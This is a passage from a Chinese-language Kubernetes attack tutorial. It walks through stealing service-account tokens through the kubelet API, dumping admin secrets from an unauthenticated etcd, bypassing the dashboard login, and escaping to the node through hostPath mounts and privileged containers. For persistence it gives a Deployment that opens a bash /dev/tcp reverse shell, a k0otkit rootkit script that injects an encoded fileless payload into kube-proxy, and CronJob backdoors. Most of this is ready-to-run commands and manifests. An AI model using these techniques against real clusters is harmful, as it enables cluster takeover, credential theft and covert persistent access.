這里可以通過檢索securityContext字段快速找到特權(quán)容器

在對應的容器里執(zhí)行命令,獲取 Token,該token可用于Kubernetes API認證,Kubernetes默認使用RBAC鑒權(quán)(當使用kubectl命令時其實是底層通過證書認證的方式調(diào)用Kubernetes API)

token 默認保存在pod 里的/var/run/secrets//serviceaccount/token

curl -k -XPOST "https://192.168.11.160:10250/run/kube-system/kube-flannel-ds-dsltf/kube-flannel" -d "cmd=cat /var/run/secrets//serviceaccount/token"

如果掛載到集群內(nèi)的token具有創(chuàng)建pod的權(quán)限,可以通過token訪問集群的api創(chuàng)建特權(quán)容器,然后通過特權(quán)容器逃逸到宿主機,從而擁有集群節(jié)點的權(quán)限

kubectl --insecure-skip-tls-verify=true --server="https://192.168.11.152:6443" --token="eyJhb....." get pods

接下來便是通過創(chuàng)建pod來掛載目錄,然后用crontab來獲得shell了 。

8、etcd 未授權(quán)(2379)

etcd是k8s集群中的數(shù)據(jù)庫組件,默認監(jiān)聽在2379端口,默認通過證書認證,主要存放節(jié)點的信息,如一些token和證書。如果2379存在未授權(quán),那么就可以通過etcd查詢集群內(nèi)管理員的token,然后用這個token訪問api server接管集群。

etcd有v2和v3兩個版本,k8s用的是v3版本,所以我們在訪問etcd的時候需要用命令ETCDCTL_API=3來指定etcd版本。

我們想要利用etcd未授權(quán),需要使用一個工具叫做etcdctl,它是用來管理etcd數(shù)據(jù)庫的,我們可以在github上下載它

https://github.com/etcd-io/etcd/releases/

“在啟動etcd時,如果沒有指定 –client-cert-auth 參數(shù)打開證書校驗,并且沒有通過iptables / 防火墻等實施訪問控制,etcd的接口和數(shù)據(jù)就會直接暴露給外部黑客”——愛奇藝安全應急響應中心

利用

下載etcd:https://github.com/etcd-io/etcd/releases

解壓后在命令行中進入etcd目錄下。

etcdctl api版本切換:

export ETCDCTL_API=2
export ETCDCTL_API=3

探測是否存在未授權(quán)訪問的Client API

etcdctl --endpoints=https://172.16.0.112:2379 get / --prefix --keys-only

如果我們在沒有證書文件的前提下直接訪問2375端口,是調(diào)用不了etcd應用的,會提示X509證書錯誤。

我們需要將以下文件加入環(huán)境變量(ca,key,cert)才能訪問(如果有未授權(quán),那么不用帶證書都能訪問)

export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

或者直接執(zhí)行:

etcdctl --insecure-skip-tls-verify --insecure-transport=true --endpoints=https://172.16.0.112:2379 --cacert=ca.pem --key=etcd-client-key.pem --cert=etcd-client.pem endpoint health
查詢管理員token

我們可以直接在etcd里查詢管理員的token,然后使用該token配合kubectl指令接管集群。

etcdctl --endpoints=https://etcd_ip:2375/ get / --prefix --keys-only | grep /secrets/

如果查詢結(jié)果有敏感賬戶,我們便可以去獲取他的token

etdctl --endpoints=https://etcd_ip:2375/ get /registry/secrets/default/admin-token-55712

拿到token以后,用kubectl接管集群

kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" get nodes
kubectl --insecure-skip-tls-verify -s https://master_ip:6443/ --token="xxxxxx" -n kube-system get pods

也可以嘗試dump etcd數(shù)據(jù)庫,然后去找敏感信息

ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only

如果服務器啟用了https,需要加上兩個參數(shù)忽略證書校驗 --insecure-transport --insecure-skip-tls-verify

ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only

9、私有鏡像庫暴露

舉個例子,如果一個企業(yè)它的許多云上應用都是用的自建的私有鏡像搭建的,有一天它私有鏡像泄露出來了,我們就可以通過審計等手段去挖掘私有鏡像中的漏洞,造成供應鏈打擊。

10、Dashboard面板爆破

dashboard是Kubernetes官方推出的控制Kubernetes的圖形化界面.在Kubernetes配置不當導致dashboard未授權(quán)訪問漏洞的情況下,通過dashboard我們可以控制整個集群。

  • 用戶開啟了enable-skip-login時可以在登錄界面點擊Skip跳過登錄進入dashboard.
  • 為Kubernetes-dashboard綁定cluster-admin(cluster-admin擁有管理集群的最高權(quán)限).

利用

默認配置登陸是需要輸入 Token 的且不能跳過

但是如果在配置參數(shù)中添加了如下參數(shù),那么在登陸的過程中就可以進行跳過 Token 輸入環(huán)節(jié)

- --enable-skip-login

點擊Skip進入dashboard實際上使用的是Kubernetes-dashboard這個ServiceAccount,如果此時該ServiceAccount沒有配置特殊的權(quán)限,是默認沒有辦法達到控制集群任意功能的程度的。

給Kubernetes-dashboard綁定cluster-admin:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: dashboard-1
subjects:
- kind: ServiceAccount
  name: k8s-dashboard-kubernetes-dashboard
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

綁定完成后,再次刷新 dashboard 的界面,就可以看到整個集群的資源情況。

獲取訪問后直接創(chuàng)建特權(quán)容器即可getshell

0x02 執(zhí)行

目錄掛載逃逸

這個技術是綜合了執(zhí)行、持久化、權(quán)限提升的一個攻擊方法,為了省事,就放在這里一塊說了。

首先,在我們獲取了api server控制權(quán)后,我們可以創(chuàng)建Pod,并在Pod內(nèi)部執(zhí)行命令。如果我們在創(chuàng)建Pod時,將Node節(jié)點的根目錄掛載到Pod的某個目錄下,由于我們能在Pod內(nèi)部執(zhí)行命令,所以我們可以修改掛載到Pod下的Node節(jié)點根目錄中文件的內(nèi)容,如果我們寫入惡意crontab、web shell、ssh公鑰,便可以從Pod逃逸到宿主機Node,獲取Node控制權(quán)。

具體復現(xiàn)如下

先創(chuàng)建一個惡意Pod

首先我們創(chuàng)建惡意Pod,可以直接創(chuàng)建Pod,也可以用Deployment創(chuàng)建。
既然提到創(chuàng)建Pod,那么就多提一句:直接創(chuàng)建Pod和用Deployment創(chuàng)建Pod的區(qū)別是什么?
Deployment可以更方便的設置Pod的數(shù)量,方便Pod水平擴展。
Deployment擁有更加靈活強大的升級、回滾功能,并且支持滾動更新。
使用Deployment升級Pod只需要定義Pod的最終狀態(tài),k8s會為你執(zhí)行必要的操作。
如果創(chuàng)建一個小玩意,那么直接創(chuàng)建Pod就行了,沒必要用deployment。
用Pod創(chuàng)建
apiVersion:v1
kind:Pod
metadate:
  name:evilpod
spec:
  containers:
  - image:nginx
    name:container
    volumeMounts:
    - mountPath:/mnt
      name:test-volume
  volumes:
  - name: test-volume
    hostPath:
      path:/
用deployment創(chuàng)建
apiVersion: apps/v1
kind:Deployment
metadata:
  name:nginx-deployment
  labels:
    apps:nginx-test
spec:
  replicas:1
  selector:
    matchLabels:
      app:nginx
  template:
    metadata:
      labels:
        app:nginx
    spec:
      containers:
      - image:nginx
        name:container
        volumeMounts:
        - mountPath : /mnt
          name: test-volume
      volumes:
      - name: test-volume
        hostPath:
          path: /

將以上文本寫入到一個yaml文件中,然后執(zhí)行

kubectl apply -f xxxxx.yaml
如果是api server未授權(quán)打進去的,可能要通過-s參數(shù)設置一下api server的ip和地址:
kubectl -s http://master_ip:8080 command
這里再多嘴一句 kubectl apply 和 kubectl create 這兩個命令的區(qū)別:
兩個命令都可以用于創(chuàng)建pod,apply更傾向于”維護資源“,可以用于更新已有Pod;而create更傾向于”直接創(chuàng)建“,不管三七二十一給我創(chuàng)建就完事了簡而言之,當一個資源已經(jīng)存在時,用create會報錯,而apply不會報錯

惡意容器就創(chuàng)建好了

創(chuàng)建好了后使用命令 kubectl get pods 獲取惡意pod的名字

然后使用命令 kubectl exec -it evilpodname /bin/bash 進入pod內(nèi)部shell,然后向掛載到Pod內(nèi)部的Node根目錄中寫入惡意crontab/ssh公鑰/webshell即可拿到node的shell。

大致流程一張圖表示如下

利用Service Account連接API Server執(zhí)行指令

k8s有兩種賬戶:用戶賬戶和服務賬戶,用戶賬戶被用于人與集群交互(如管理員管理集群),服務賬戶用于Pod與集群交互(如Pod調(diào)用api server提供的一些API進行一些活動)

如果我們?nèi)肭至艘慌_有著高權(quán)限服務賬戶的Pod,我們就可以用它對應的服務賬戶身份調(diào)用api server向集群下達命令。

pod的serviceaccount信息一般存放

/var/run/secrets//serviceaccount/目錄下

但是默認的user或者service account并不具備任何權(quán)限

這是默認情況下,一個pod使用自身service account(默認為當前命名空間的default賬戶)去請求api server返回的結(jié)果,可以發(fā)現(xiàn)是沒有權(quán)限的:

$ CA_CERT=/var/run/secrets//serviceaccount/ca.crt
$ TOKEN=$(cat /var/run/secrets//serviceaccount/token)
$ NAMESPACE=$(cat /var/run/secrets//serviceaccount/namespace)
$ curl --cacert $CA_CERT -H "Authorization: Bearer $TOKEN" 
"https://192.168.111.20:6443/version/"
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {}, 
  "status": "Failure",  
  "message": "version is forbidden: User 
  \"system:serviceaccount:default:default\" cannot list resource \"version\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
     "kind": "version"
   },
  "code": 403

那么我現(xiàn)在創(chuàng)建一個高權(quán)限service account 并使其與一個Pod相關聯(lián),來復現(xiàn)一下這個攻擊手法

首先創(chuàng)建一個高權(quán)限service account

kubectl create serviceaccount niubi #創(chuàng)建service account:niubikubectl create clusterrolebinding cluster-admin-niubi  --clusterrole=cluster-admin --serviceaccount=default:niubi #把niubi放入集群管理員組,相當于給了它高權(quán)限

然后將service account與pod相關聯(lián)

在創(chuàng)建Pod的yaml文件中的spec項中輸入 serviceAccountName: niubi

再試一下,發(fā)現(xiàn)可以調(diào)用api server了

0x03 持久化

這里的持久化是指如何在Pod中持久化、如何在Node中持久化、如何在集群中持久化。

如何在Node中持久化,在上一小節(jié)中已經(jīng)提到過一些:通過寫入crontab,ssh公鑰,webshell實現(xiàn),但個人覺得這幾個手段與其說是持久化,不如說是權(quán)限提升更符合實際一點,因為這幾個手段在實際滲透中都是為了從Pod逃逸出來獲取Node權(quán)限。

同時,在Pod,Node,Master上做持久化,有大部分方法本質(zhì)上是“如何在linux機器上做持久化”,而“如何在linux機器上做持久化”方法就太多了,這里就只著重于講述在“云環(huán)境”里獨有的持久化方法。

在私有鏡像庫中植入后門(Pod持久化)

如果接管了對方的私有鏡像庫,我們便可以直接在其對象Dockerfile中塞入惡意指令(反彈shell等)

或者編輯鏡像的文件層代碼,將鏡像中原始的可執(zhí)行文件或鏈接庫文件替換為精心構(gòu)造的后門文件之后再次打包成新的鏡像。

修改核心組件訪問權(quán)限(集群持久化)

包括且不限于 更改配置暴露apiserver 8080端口、暴露docker.sock、暴露未授權(quán)etcd、暴露未授權(quán)kubelet等修改集群配置文件達到持久化的方法。

shadow api server(集群持久化/cdk工具利用)

部署一個額外的未授權(quán)且不記錄日志的api server以供我們進行持久化。

我們可以用github上專門用于k8s滲透的工具cdk(這個工具很屌)來做到這一點

https://github.com/cdk-team/CDK/wiki/CDK-Home-CN

https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver

Deployment

創(chuàng)建容器時,通過啟用 DaemonSetsDeployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經(jīng)常利用這個特性進行持久化,涉及的概念有:

● ReplicationController(RC)

ReplicationController 確保在任何時候都有特定數(shù)量的 Pod 副本處于運行

狀態(tài)。

● Replication Set(RS)

Replication Set簡稱RS,官方已經(jīng)推薦我們使用 RSDeployment 來代替 RC 了,實際上 RSRC 的功能基本一致,目前唯一的一個區(qū)別就是RC 只支持基于等式的 selector。

● Deployment

主要職責和 RC 一樣,的都是保證 Pod 的數(shù)量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的 RC 控制器。官方組件 kube-dns、kube-proxy 也都是使用的Deployment來管理。

這里使用Deployment來部署后門

#dep.yaml
apiVersion: apps/v1
kind: Deployment  #確保在任何時候都有特定數(shù)量的Pod副本處于運行狀態(tài)
metadata:
  name: nginx-deploy
  labels:
    k8s-app: nginx-demo
spec:
  replicas: 3  #指定Pod副本數(shù)量
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      hostNetwork: true
      hostPID: true
      containers:
      - name: nginx
        image: nginx:1.7.9
        imagePullPolicy: IfNotPresent
        command: ["bash"] #反彈Shell
        args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
        securityContext:
          privileged: true #特權(quán)模式
        volumeMounts:
        - mountPath: /host
          name: host-root
      volumes:
      - name: host-root
        hostPath:
          path: /
          type: Directory
#創(chuàng)建
kubectl create -f dep.yaml

Rootkit

這里介紹一個 k8srootkit,k0otkit 是一種通用的后滲透技術,可用于對 Kubernetes 集群的滲透。使用 k0otkit,您可以以快速、隱蔽和連續(xù)的方式(反向 shell)操作目標 Kubernetes 集群中的所有節(jié)點。

K0otkit使用到的技術:

DaemonSetSecret資源(快速持續(xù)反彈、資源分離)

kube-proxy鏡像(就地取材)

● 動態(tài)容器注入(高隱蔽性)

Meterpreter(流量加密)

● 無文件攻擊(高隱蔽性)

#生成k0otkit
./pre_exp.sh
#監(jiān)聽
./handle_multi_reverse_shell.sh

k0otkit.sh的內(nèi)容復制到master執(zhí)行:

volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace: kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n"   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name"   | kubectl --kubeconfig /root/.kube/config replace -f -

cronjob持久化

CronJob用于執(zhí)行周期性的動作,例如備份、報告生成等,攻擊者可以利用此功能持久化。

apiVersion: batch/v1
kind: CronJob  #使用CronJob對象
metadata:
  name: hello
spec:
  schedule: "*/1 * * * *" #每分鐘執(zhí)行一次
  jobTemplate:
    spec:
      template:
        spec:
          containers:
          - name: hello
            image: busybox
            imagePullPolicy: IfNotPresent
            command:
            - /bin/sh
            - -c
            - #反彈Shell或者木馬
          restartPolicy: OnFailure

0x04 權(quán)限提升

指從pod拿到Node的shell,或者拿到集群控制權(quán)。

上面的小節(jié)提到過一些,比如kubectl未授權(quán)、docker.sock、掛載目錄、高權(quán)限Service account等方法。

除此之外還有Docker、k8s的一些CVE

Docker逃逸如CVE-2019-5736,CVE-2019-14271,CVE-2020-15257、CVE-2022-0811

k8s提權(quán)到接管集群的如CVE-2018-1002105,CVE-2020-8558

docker逃逸可以看之前總結(jié)的容器逃逸相關文章,這里說一下特權(quán)容器逃逸

特權(quán)容器逃逸

當容器啟動加上--privileged選項時,容器可以訪問宿主機上所有設備。

而K8s配置文件啟用了privileged: true:

spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true

實戰(zhàn)案例:

通過漏洞獲取WebShell,查看根目錄存在.dockerenv,可通過fdisk -l查看磁盤目錄,進行掛載目錄逃逸:

#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

0x05 探測

● 內(nèi)網(wǎng)掃描

● K8s常用端口探測

● 集群內(nèi)部網(wǎng)絡

是否在容器環(huán)境中


  • 根目錄下/.dockerenv 文件存在即docker環(huán)境
  • /proc/1/cgroup 內(nèi)若包含docker或kube字符串則是在docker環(huán)境或k8s pod 之中


  • 沒有常見命令


  • 查看環(huán)境變量中是否有k8s或者docker字符串


  • 查看端口開放情況(netstat -anp),如果開放了一些特殊端口如6443、8080(api server),2379(etcd),10250、10255(kubelet),10256(kube-proxy) 那么可以初步判定為是在k8s環(huán)境中的一臺Node或者master,這個方法亦可用于端口掃描探測目標主機是否為k8s集群中的機器

  • 查看當前網(wǎng)段,k8s中 Flannel網(wǎng)絡插件默認使用10.244.0.0/16網(wǎng)絡,Calico默認使用192.168.0.0/16網(wǎng)絡,如果出現(xiàn)在這些網(wǎng)段中(特別是10.244網(wǎng)段)那么
  • 可以初步判斷為集群中的一個pod。pod里面命令很少,可以通過hostname -I(大寫i)來查看ip地址

集群內(nèi)網(wǎng)掃描

Kubernetes的網(wǎng)絡中存在4種主要類型的通信

● 同一Pod內(nèi)的容器間通信

● 各Pod彼此間通信

PodService間的通信

● 集群外部的流量與Service間的通信。

所以和常規(guī)內(nèi)網(wǎng)滲透無區(qū)別,nmap、masscan等掃描

K8s常用端口探測

集群內(nèi)部網(wǎng)絡

Flannel網(wǎng)絡插件默認使用10.244.0.0/16網(wǎng)絡

Calico默認使用192.168.0.0/16網(wǎng)絡

0x06 橫向移動

目的

通常來說,拿到kubeconfig或者能訪問apiserver的ServiceAccount token,就代表著控下了整個集群。

但往往在紅隊攻擊中,我們常常要拿到某一類特定重要系統(tǒng)的服務器權(quán)限來得分。前面我們已經(jīng)可以在節(jié)點上通過創(chuàng)建pod來逃逸,從而獲得節(jié)點對應主機的權(quán)限,那么我們是否能控制pod在指定節(jié)點上生成,逃逸某個指定的Node或Master節(jié)點。

親和性與反親和性

一般來說我們部署的Pod是通過集群的自動調(diào)度策略來選擇節(jié)點的,但是因為一些實際業(yè)務的需求可能需要控制某些pod調(diào)度到特定的節(jié)點。就需要用到 Kubernetes 里面的一個

概念:親和性和反親和性。

親和性又分成節(jié)點親和性( nodeAffinity )和 Pod 親和性( podAffinity )。


  • 節(jié)點親和性通俗些描述就是用來控制 Pod 要部署在哪些節(jié)點上,以及不能部署在哪些節(jié)點上的

  • pod親和性和反親和性表示pod部署到或不部署到滿足某些label的pod所在的node上
節(jié)點親和性( nodeAffinity )

節(jié)點親和性主要是用來控制 pod 要部署在哪些主機上,以及不能部署在哪些主機上的,演示一下:

查看node的label命令

kubectl get nodes --show-labels

給節(jié)點打上label標簽

kubectl label nodes k8s-node01 com=justtest
node/k8s-node01 labeled

當node 被打上了相關標簽后,在調(diào)度的時候就可以使用這些標簽了,只需要在 Pod 的spec字段中添加 nodeSelector 字段

apiVersion: v1
kind: Pod
metadata:
  name: node-scheduler
spec:
  nodeSelector:
    com: justtest
Pod 親和性( podAffinity )

pod 親和性主要處理的是 pod 與 pod 之間的關系,比如一個 pod 在一個節(jié)點上了,那么另一個也得在這個節(jié)點,或者你這個 pod 在節(jié)點上了,那么我就不想和你待在同一個節(jié)點上。

污點與容忍度

節(jié)點親和性是 Pod的一種屬性,它使 Pod 被吸引到一類特定的節(jié)點。 污點(Taint)則相反——它使節(jié)點能夠排斥一類特定的 Pod。

污點標記選項:

  • NoSchedule,表示pod 不會被調(diào)度到標記為 taints 的節(jié)點
  • PreferNoSchedule,NoSchedule 的軟策略版本,表示盡量不調(diào)度到污點節(jié)點上去
  • NoExecute :該選項意味著一旦 Taint 生效,如該節(jié)點內(nèi)正在運行的pod 沒有對應 Tolerate 設置,會直接被逐出

我們使用kubeadm搭建的集群默認就給 master 節(jié)點(主節(jié)點)添加了一個污點標記,所以我們看到我們平時的 pod 都沒有被調(diào)度到master 上去。除非有Pod能容忍這個污點。而通常容忍這個污點的 Pod都是系統(tǒng)級別的Pod,例如kube-system

給指定節(jié)點標記污點 taint :

kubectl taint nodes k8s-node01 test=k8s-node01:NoSchedule

上面將 k8s-node01 節(jié)點標記為了污點,影響策略是 NoSchedule,只會影響新的 pod 調(diào)度。

由于 node01節(jié)點被標記為了污點節(jié)點,所以我們這里要想 pod 能夠調(diào)度到 node01節(jié)點去,就需要增加容忍的聲明

使用污點和容忍度能夠使Pod靈活的避開某些節(jié)點或者將某些Pod從節(jié)點上驅(qū)逐。

詳細概念可以參考官網(wǎng)文檔:污點和容忍度 | Kubernetes

實現(xiàn)master節(jié)點逃逸

比如要想獲取到master節(jié)點的shell,則可以從這兩點考慮

  • 去掉“污點”(taints)(生產(chǎn)環(huán)境不推薦)
  • 讓pod能夠容忍(tolerations)該節(jié)點上的“污點”。

查看k8s-master的節(jié)點情況,確認Master節(jié)點的容忍度:

創(chuàng)建帶有容忍參數(shù)并且掛載宿主機根目錄的Pod

apiVersion: v1
kind: Pod
metadata:
  name: myapp2
spec:
  containers:
  - image: nginx
    name: test-container
    volumeMounts:
    - mountPath: /mnt
      name: test-volume
  tolerations:
  - key: node-role./master
    operator: Exists
    effect: NoSchedule
  volumes:
  - name: test-volume
    hostPath:
      path: /
kubectl -s 192.168.11.152:8080 create -f test.yaml --validate=false
kubectl -s 192.168.11.152:8080 --namespace=default exec -it test-master bash

之后按照上面逃逸node01節(jié)點的方式寫入ssh公鑰即可getshell。

四、后滲透&集群持久化

https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA

五、參考

https://www./2022/03/13/k8s安全 入門學習/ (k8s基礎、攻擊矩陣)

https://paper./1803/(k8s攻擊矩陣)

https://xz.aliyun.com/t/11316 (K8S云原生環(huán)境滲透學習)

https://mp.weixin.qq.com/s/qYlAYM2jbdPtdXCi0oFagA (K8S后滲透橫向節(jié)點與持久化隱蔽方式探索)

https://mp.weixin.qq.com/s/emej9iAFTgr14Y_Q3-aYNA

https:///learning/(非常好的中文教程)

https:///zh/docs/tutorials/kubernetes-basics/(k8s官方教程,有交互式操作界面,稍微有點不好的是有些地方?jīng)]有中文)

永遠相信 永遠熱愛

    本站是提供個人知識管理的網(wǎng)絡存儲空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點。請注意甄別內(nèi)容中的聯(lián)系方式、誘導購買等信息,謹防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊一鍵舉報。
    轉(zhuǎn)藏 分享 獻花(0

    0條評論

    發(fā)表

    請遵守用戶 評論公約

    類似文章 更多